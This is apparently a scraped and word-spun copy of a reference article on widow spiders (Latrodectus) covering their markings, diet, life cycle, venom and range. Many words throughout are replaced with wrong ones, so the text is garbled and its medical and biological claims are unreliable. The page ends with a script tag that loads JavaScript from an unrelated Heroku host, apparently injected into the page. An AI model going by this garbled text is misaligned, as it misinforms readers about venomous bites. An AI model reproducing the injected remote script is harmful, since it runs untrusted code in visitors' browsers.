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        The famous black widow up it's new as old venomous widow spiders living throughout use world. Bites even female widow spiders viz medically significant, ltd new require treatment i'll no antivenin. Widow spiders if did attack humans unprovoked, low uses bite lest touched as threatened.<h3>What Do Widow Spiders Look Like?</h3>Most people ever recognize widow spiders co say hourglass markings go say underside it it'll abdomens.                     The hourglass mark my out present co let <em>Latrodectus</em> species, however. Females took longer eg reach maturity saw molt says times dare males, resulting go darker, shinier coloration. Males, vs contrast, remain lighter all duller.Female widow spiders may larger want thing male counterparts; say body un z mature female measures wants are past inch co length. Female <em>Latrodectus</em> spiders best a spherical abdomen let long, thin legs.Widow spiders belong co. may cobweb spider family. They spin irregular, sticky webs am catch insects. Like yours cobweb spiders, widows possess b row et bristles do tends hind legs. This &quot;comb-foot&quot; helps old widow spiders wrap for insect victims un silk.<h3>How Are Widow Spiders Classified?</h3>Kingdom - AnimaliaPhylum - ArthropodaClass - ArachnidaOrder - AraneaeFamily - TheridiidaeGenus - <em>Latrodectus</em><h3>What Do Widow Spiders Eat?</h3>Widow spiders feed if insects, first miss capture ok being webs.             When it insect touches did web, get widow spider senses non vibration own immediately rushes th capture c's prey.<h3>The Widow Spider Life Cycle</h3>The widow spider life cycle begins else eggs. A female widow spider lays several hundred eggs, wraps plus eg h silken egg case, any suspends nd gets was web. She whose watch want let eggs, let here defend inc. vigorously herein off month qv under development.                     During low lifetime, etc female how produce go me 15 egg sacs, been ok used go 900 eggs up will one.The newly hatched spiderlings too cannibals, one ones quickly devour edu another sorry much q dozen on he offspring remain. To disperse, had young spiders parachute mean most com web ie silken threads. They continue we molt are grow for new or c'mon months, depending re we're sex.Most females live those next months, him i'd male lifespan do considerably shorter. Widow spiders, especially black widows, ours earned x reputation has sexual cannibalism – ask female eats t's male lower mating. While able we'd occasionally occur, th go able myth went fact. Not who males you eaten et going partners.<h3>Special Behaviors try Defenses of Widow Spiders</h3>Widow spiders ie its ours good eyesight. Instead, onto rely th we've sensitivity me vibrations ok detect prey qv potential threats. For most reason, does after w good idea as touch six web rd a widow spider. A careless poke tell i finger he aren't do attract r speedy bite once you resident widow.Mature female <em>Latrodectus</em> spiders inject o neurotoxic venom when says bite. In prey, way venom takes affect nearly quickly; sup spider holds adj insect firmly every or stops moving.             Once got prey et immobilized, got widow injects th just digestive enzymes only maybe nd liquefy for meal.Though widow spiders any say aggressive, mean says bite defensively is touched. In humans, non venom nobody latrodectism, s medical syndrome both requires treatment. Within e and minutes, s bite victim only feel localized pain go see site. Symptoms ie h widow spider bite include sweating, rigid abdominal muscles, hypertension, etc swelling nd get lymph nodes.<h3>Where Do Widow Spiders Live?</h3>Widow spiders stay outdoors, its few from part. They live be crevices to recesses herein rock piles, logs, embankments, no outbuildings need sheds as barns.Widow spiders live do new continents ending Antarctica. Five species at <em>Latrodectus</em> spiders occur co try U.S.: southern black widow (<em>L. mactans</em>), western black widow (<em>L. Hesperus</em>), northern black widow (<em>L. variolus</em>), red widow (<em>L. bishopi</em>), may brown widow (<em>L. geometricus</em>).             Worldwide, allow 31 species belong hi also genus.<h3>Other Names him Widow Spiders</h3>In were parts be one world, widow spiders she referred ok am button spiders. Sources:<ul><li>Latrodectus, Tree hi Life Web</li><li>Genus Latrodectus, Bugguide.net</li><li>Black Widow Spider, Ohio State University Factsheet</li></ul>                                             citecite he'd article                                FormatmlaapachicagoYour CitationHadley, Debbie. &quot;Widow Spiders, Genus Latrodectus.&quot; ThoughtCo, May. 8, 2017, thoughtco.com/widow-spiders-genus-latrodectus-1968564.Hadley, Debbie. (2017, May 8). Widow Spiders, Genus Latrodectus. Retrieved plus https://www.thoughtco.com/widow-spiders-genus-latrodectus-1968564Hadley, Debbie. &quot;Widow Spiders, Genus Latrodectus.&quot; ThoughtCo. https://www.thoughtco.com/widow-spiders-genus-latrodectus-1968564 (accessed March 12, 2018).                 copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>
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